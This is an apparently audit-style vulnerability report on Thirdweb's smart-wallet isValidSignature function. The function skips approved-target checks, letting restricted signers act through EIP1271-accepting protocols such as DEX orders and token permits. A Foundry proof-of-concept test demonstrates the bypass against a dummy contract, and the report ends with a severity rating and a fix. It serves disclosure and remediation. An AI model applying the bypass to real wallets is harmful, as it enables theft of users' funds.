Incorrect EIP1271 integration allows approved signers to bypass protection against unauthorized actions and potentially steal funds from a smart contract wallet.
Thirdweb has developed its own implementation of an account-abstracted wallet, enabling account owners to grant various signers permission to execute actions on their behalf.
To safeguard against unintended actions, these different actions are subjected to an approved target check, aimed at preventing signers from executing unauthorized actions. In cases where an account owner grants signer X permissions for an approved target (such as contract A), signer X should theoretically be restricted to executing calls solely on contract A.
AccountCore.sol, L80
function isValidSigner(address _signer, UserOperation calldata _userOp) public view virtual returns (bool) {
-----
if (sig == Account.execute.selector) {
// Extract the `target` and `value` arguments from the calldata for `execute`.
(address target, uint256 value) = decodeExecuteCalldata(_userOp.callData);
// Check if the value is within the allowed range and if the target is approved.
if (permissions.nativeTokenLimitPerTransaction < value || !data.approvedTargets[_signer].contains(target)) {
// Account: value too high OR Account: target not approved.
return false;
}
} else
------However, signers can bypass these restrictions using EIP1271 signature verification.
While Thirdweb has indeed integrated EIP1271 via its isValidSignature function, it neglects to incorporate checks related to approved targets.
This enables allowed signers to execute actions for any external protocol accepting signatures.
AccountCore.sol
function isValidSignature(bytes32 _hash, bytes memory _signature)
public
view
virtual
override
returns (bytes4 magicValue)
{
address signer = _hash.recover(_signature);
if (isAdmin(signer) || isActiveSigner(signer)) {
magicValue = MAGICVALUE;
}
}For example:
- Decentralized exchanges (Dexes) that accept signature orders, such as:
- CowSwap Orders https://github.com/cowprotocol/contracts/blob/35625ec2392f02a24e9be2eea209f47dcbeb0db6/src/contracts/mixins/GPv2Signing.sol#L161
- UniswapX orders
- 1inch Fusion
- Tokens that allow permits for approvals
- Integration scenarios involving Permit2
...
One can swap with them being as receipient for signature orders or can approve huge token amounts to themselves by permit.
Basically, an attacker can exploit account with help of any protocol that accepts EIP1271 signatures.
Account.t.sol
// SPDX-License-Identifier: Apache-2.0
pragma solidity ^0.8.0;
// Test utils
import "../utils/BaseTest.sol";
// Account Abstraction setup for smart wallets.
import { EntryPoint, IEntryPoint } from "contracts/smart-wallet/utils/Entrypoint.sol";
import { UserOperation } from "contracts/smart-wallet/utils/UserOperation.sol";
// Target
import { IAccountPermissions } from "contracts/extension/interface/IAccountPermissions.sol";
import { AccountFactory, Account } from "contracts/smart-wallet/non-upgradeable/AccountFactory.sol";
library GPv2EIP1271 {
bytes4 internal constant MAGICVALUE = 0x1626ba7e;
}
interface EIP1271Verifier {
function isValidSignature(
bytes32 _hash,
bytes memory _signature
) external view returns (bytes4 magicValue);
}
/// @dev This is a dummy contract to test contract interactions with Account.
contract Number {
uint256 public num;
function setNum(uint256 _num) public {
num = _num;
}
function doubleNum() public {
num *= 2;
}
function incrementNum() public {
num += 1;
}
function setNumBySignature(address owner, uint256 newNum, bytes calldata signature) public {
if (owner.code.length == 0)
{
// Signature verification by ECDSA
}
else
{
// Signature verfication by EIP1271
bytes32 digest = keccak256(abi.encode(newNum));
require(EIP1271Verifier(owner).isValidSignature(digest, signature) == GPv2EIP1271.MAGICVALUE, "GPv2: invalid eip1271 signature");
num = newNum;
}
}
}
contract SimpleAccountTest is BaseTest {
// Target contracts
EntryPoint private entrypoint;
AccountFactory private accountFactory;
// Mocks
Number internal numberContract;
// Test params
uint256 private accountAdminPKey = 100;
address private accountAdmin;
uint256 private accountSignerPKey = 200;
address private accountSigner;
uint256 private nonSignerPKey = 300;
address private nonSigner;
// UserOp terminology: `sender` is the smart wallet.
address private sender = 0xBB956D56140CA3f3060986586A2631922a4B347E;
address payable private beneficiary = payable(address(0x45654));
bytes32 private uidCache = bytes32("random uid");
event AccountCreated(address indexed account, address indexed accountAdmin);
function _signSignerPermissionRequest(IAccountPermissions.SignerPermissionRequest memory _req)
internal
view
returns (bytes memory signature)
{
bytes32 typehashSignerPermissionRequest = keccak256(
"SignerPermissionRequest(address signer,address[] approvedTargets,uint256 nativeTokenLimitPerTransaction,uint128 permissionStartTimestamp,uint128 permissionEndTimestamp,uint128 reqValidityStartTimestamp,uint128 reqValidityEndTimestamp,bytes32 uid)"
);
bytes32 nameHash = keccak256(bytes("Account"));
bytes32 versionHash = keccak256(bytes("1"));
bytes32 typehashEip712 = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
bytes32 domainSeparator = keccak256(abi.encode(typehashEip712, nameHash, versionHash, block.chainid, sender));
bytes memory encodedRequest = abi.encode(
typehashSignerPermissionRequest,
_req.signer,
keccak256(abi.encodePacked(_req.approvedTargets)),
_req.nativeTokenLimitPerTransaction,
_req.permissionStartTimestamp,
_req.permissionEndTimestamp,
_req.reqValidityStartTimestamp,
_req.reqValidityEndTimestamp,
_req.uid
);
bytes32 structHash = keccak256(encodedRequest);
bytes32 typedDataHash = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(accountAdminPKey, typedDataHash);
signature = abi.encodePacked(r, s, v);
}
function _setupUserOp(
uint256 _signerPKey,
bytes memory _initCode,
bytes memory _callDataForEntrypoint
) internal returns (UserOperation[] memory ops) {
uint256 nonce = entrypoint.getNonce(sender, 0);
// Get user op fields
UserOperation memory op = UserOperation({
sender: sender,
nonce: nonce,
initCode: _initCode,
callData: _callDataForEntrypoint,
callGasLimit: 500_000,
verificationGasLimit: 500_000,
preVerificationGas: 500_000,
maxFeePerGas: 0,
maxPriorityFeePerGas: 0,
paymasterAndData: bytes(""),
signature: bytes("")
});
// Sign UserOp
bytes32 opHash = EntryPoint(entrypoint).getUserOpHash(op);
bytes32 msgHash = ECDSA.toEthSignedMessageHash(opHash);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(_signerPKey, msgHash);
bytes memory userOpSignature = abi.encodePacked(r, s, v);
address recoveredSigner = ECDSA.recover(msgHash, v, r, s);
address expectedSigner = vm.addr(_signerPKey);
assertEq(recoveredSigner, expectedSigner);
op.signature = userOpSignature;
// Store UserOp
ops = new UserOperation[](1);
ops[0] = op;
}
function _setupUserOpExecute(
uint256 _signerPKey,
bytes memory _initCode,
address _target,
uint256 _value,
bytes memory _callData
) internal returns (UserOperation[] memory) {
bytes memory callDataForEntrypoint = abi.encodeWithSignature(
"execute(address,uint256,bytes)",
_target,
_value,
_callData
);
return _setupUserOp(_signerPKey, _initCode, callDataForEntrypoint);
}
function _setupUserOpExecuteBatch(
uint256 _signerPKey,
bytes memory _initCode,
address[] memory _target,
uint256[] memory _value,
bytes[] memory _callData
) internal returns (UserOperation[] memory) {
bytes memory callDataForEntrypoint = abi.encodeWithSignature(
"executeBatch(address[],uint256[],bytes[])",
_target,
_value,
_callData
);
return _setupUserOp(_signerPKey, _initCode, callDataForEntrypoint);
}
function setUp() public override {
super.setUp();
// Setup signers.
accountAdmin = vm.addr(accountAdminPKey);
vm.deal(accountAdmin, 100 ether);
accountSigner = vm.addr(accountSignerPKey);
nonSigner = vm.addr(nonSignerPKey);
// Setup contracts
entrypoint = new EntryPoint();
// deploy account factory
accountFactory = new AccountFactory(IEntryPoint(payable(address(entrypoint))));
// deploy dummy contract
numberContract = new Number();
}
/*//////////////////////////////////////////////////////////
Test: performing a contract call
//////////////////////////////////////////////////////////////*/
function _setup_executeTransaction() internal {
bytes memory initCallData = abi.encodeWithSignature("createAccount(address,bytes)", accountAdmin, bytes(""));
bytes memory initCode = abi.encodePacked(abi.encodePacked(address(accountFactory)), initCallData);
UserOperation[] memory userOpCreateAccount = _setupUserOpExecute(
accountAdminPKey,
initCode,
address(0),
0,
bytes("")
);
EntryPoint(entrypoint).handleOps(userOpCreateAccount, beneficiary);
}
function test_POC() public {
_setup_executeTransaction();
/*//////////////////////////////////////////////////////////
Setup
//////////////////////////////////////////////////////////////*/
address[] memory approvedTargets = new address[](1);
approvedTargets[0] = address(0); // allowing accountSigner permissions for some random contract, consider it as 0 address here
IAccountPermissions.SignerPermissionRequest memory permissionsReq = IAccountPermissions.SignerPermissionRequest(
accountSigner,
approvedTargets,
1 ether,
0,
type(uint128).max,
0,
type(uint128).max,
uidCache
);
vm.prank(accountAdmin);
bytes memory sig = _signSignerPermissionRequest(permissionsReq);
address account = accountFactory.getAddress(accountAdmin, bytes(""));
Account(payable(account)).setPermissionsForSigner(permissionsReq, sig);
// As expected, Account Signer is not be able to call setNum on numberContract since it doesnt have numberContract as approved target
assertEq(numberContract.num(), 0);
vm.prank(accountSigner);
UserOperation[] memory userOp = _setupUserOpExecute(
accountSignerPKey,
bytes(""),
address(numberContract),
0,
abi.encodeWithSignature("setNum(uint256)", 42)
);
vm.expectRevert();
EntryPoint(entrypoint).handleOps(userOp, beneficiary);
/*//////////////////////////////////////////////////////////
Attack
//////////////////////////////////////////////////////////////*/
//However they can bypass this by using signature verification on number contract instead
vm.prank(accountSigner);
bytes32 digest = keccak256(abi.encode(42));
(uint8 v, bytes32 r, bytes32 s) = vm.sign(accountSignerPKey, digest);
bytes memory signature = abi.encodePacked(r, s, v);
address signer = ecrecover(digest, v, r, s);
numberContract.setNumBySignature(account, 42, signature);
assertEq(numberContract.num(), 42);
}
}
High
Impact: High, Loss of Funds
Likelihood: Medium, Thirdweb is permissionless platform allowing anyone to create smart wallets with anyone as allowed signers, hence there is no trust assumption of them always acting ethical.
If signer is non admin in isValidSignature, consider checking if caller is a approved target